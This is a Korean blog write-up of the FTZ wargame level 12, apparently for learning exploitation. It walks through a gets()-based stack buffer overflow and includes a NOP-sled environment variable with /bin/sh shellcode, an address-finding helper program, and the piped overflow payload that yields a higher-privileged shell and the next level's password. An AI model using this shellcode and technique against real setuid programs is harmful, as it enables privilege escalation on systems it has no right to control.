일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- termux
- buffer over flow
- 리버싱
- CodeEngn
- RITSEC
- requests
- Next.js
- RITSEC CTF 2019
- NewsClipping
- webhacking
- 보안뉴스
- Nop Slide
- BOF
- x64dbg
- Linux
- HackCTF
- Shadow 동아리
- reversing
- 뉴스클리핑
- SQL Injection
- ctf
- 버퍼오버플로우
- 웹해킹
- 어셈블리어
- ftz
- Python
- PWN
- writeup
- Hackerschool
- 리눅스
Archives
- Today
- Total
Jaeseo's Information Security Story
FTZ - level12 - WriteUp 본문
FTZ - level12 - WriteUp
Level12:it is like this
일단 hint를 보고 문제를 풀어봅니다.
[level12@ftz level12cat hint
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}
일단 이번에도 level 11 과 같이 bof를 일으켜 level13의 권한으로 shell를 띄우거나 my-pass명령어를 실행해야 하는 것으로 보입니다.
소스코드를 이용해서 디버깅용 프로그램을 만들어 gdb로 분석을 해봅니다.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048390 <main+0>: push ebp
0x08048391 <main+1>: mov ebp,esp
0x08048393 <main+3>: sub esp,0x108 //esp를 264만큼 공간 확보
0x08048399 <main+9>: and esp,0xfffffff0
0x0804839c <main+12>: mov eax,0x0
0x080483a1 <main+17>: sub esp,eax
0x080483a3 <main+19>: sub esp,0x8 //esp를 8만큼 공간 확보 총 272
0x080483a6 <main+22>: push 0xc15
0x080483ab <main+27>: push 0xc15
0x080483b0 <main+32>: call 0x80482d0 <setreuid>
0x080483b5 <main+37>: add esp,0x10
0x080483b8 <main+40>: sub esp,0xc
0x080483bb <main+43>: push 0x80484a0
0x080483c0 <main+48>: call 0x80482c0 <printf>
0x080483c5 <main+53>: add esp,0x10
0x080483c8 <main+56>: sub esp,0xc
0x080483cb <main+59>: lea eax,[ebp-264]
0x080483d1 <main+65>: push eax
0x080483d2 <main+66>: call 0x80482a0 <gets>
0x080483d7 <main+71>: add esp,0x10
0x080483da <main+74>: sub esp,0x8
0x080483dd <main+77>: lea eax,[ebp-264]
0x080483e3 <main+83>: push eax
0x080483e4 <main+84>: push 0x80484a9
0x080483e9 <main+89>: call 0x80482c0 <printf>
0x080483ee <main+94>: add esp,0x10
0x080483f1 <main+97>: leave
0x080483f2 <main+98>: ret
End of assembler dump.
level11과 똑같이 아래의 스택구조로 되어 있을 것을 예상할 수 있습니다.
스택 구조 |
---|
Data - 256byte |
Dummy Data - 8byte |
SFP(Stack Frame Pointer) - 4byte |
RET(Return Address) - 4byte |
이제 저번에 썻던 방법 대로 환경변수를 이용하여 bof를 발생시켜 봅니다.
[level12@ftz tmp]$ export ATTACK=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
getenv
함수를 이용하여 환경변수의 주소를 가져오는 프로그램을 작성합니다.
#include <stdio.h>
int main(int argc, char **argv){
printf("%s : 0x%x\n",argv[1],getenv(argv[1]));
return 0;
}
이 프로그램을 이용하여 $ATTACK의 주소를 가져옵니다.
[level12@ftz level12]$ ./tmp/env.out ATTACK
0xbfffd84b
이제 공격을 합니다.
[level12@ftz level12]$ (python -c 'print "\x90"*268+"\x4b\xd8\xff\xbf"';cat) | ./attackme
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????K?
이번에는 파이프를 이용하여 입력값을 전달 시켰습니다.
그러면 위와 같이 계속 입력값을 받는 모습을 볼 수 있는데 이때 ls를 입력해 보면 입력한 명령어에 대해 결과 값을 보여 주는 모습을 볼 수 있습니다.
[level12@ftz level12]$ (python -c 'print "\x90"*268+"\x4b\xd8\xff\xbf"';cat) | ./attackme
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????K?
ls
attackme hint public_html tmp
my-pass
TERM environment variable not set.
Level13 Password is "have no clue".
그리고 이제 위와 같이 my-pass를 입력 하면 level13의 password가 보입니다.
level13:have no clue
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level14 - WriteUp (0) | 2019.11.25 |
---|---|
FTZ - level13 - WriteUp (2) | 2019.11.19 |
FTZ - level11 - WriteUp (0) | 2019.11.15 |
FTZ - level10 - WriteUp (0) | 2019.11.13 |
FTZ - level9 - WriteUp (0) | 2019.11.12 |
Comments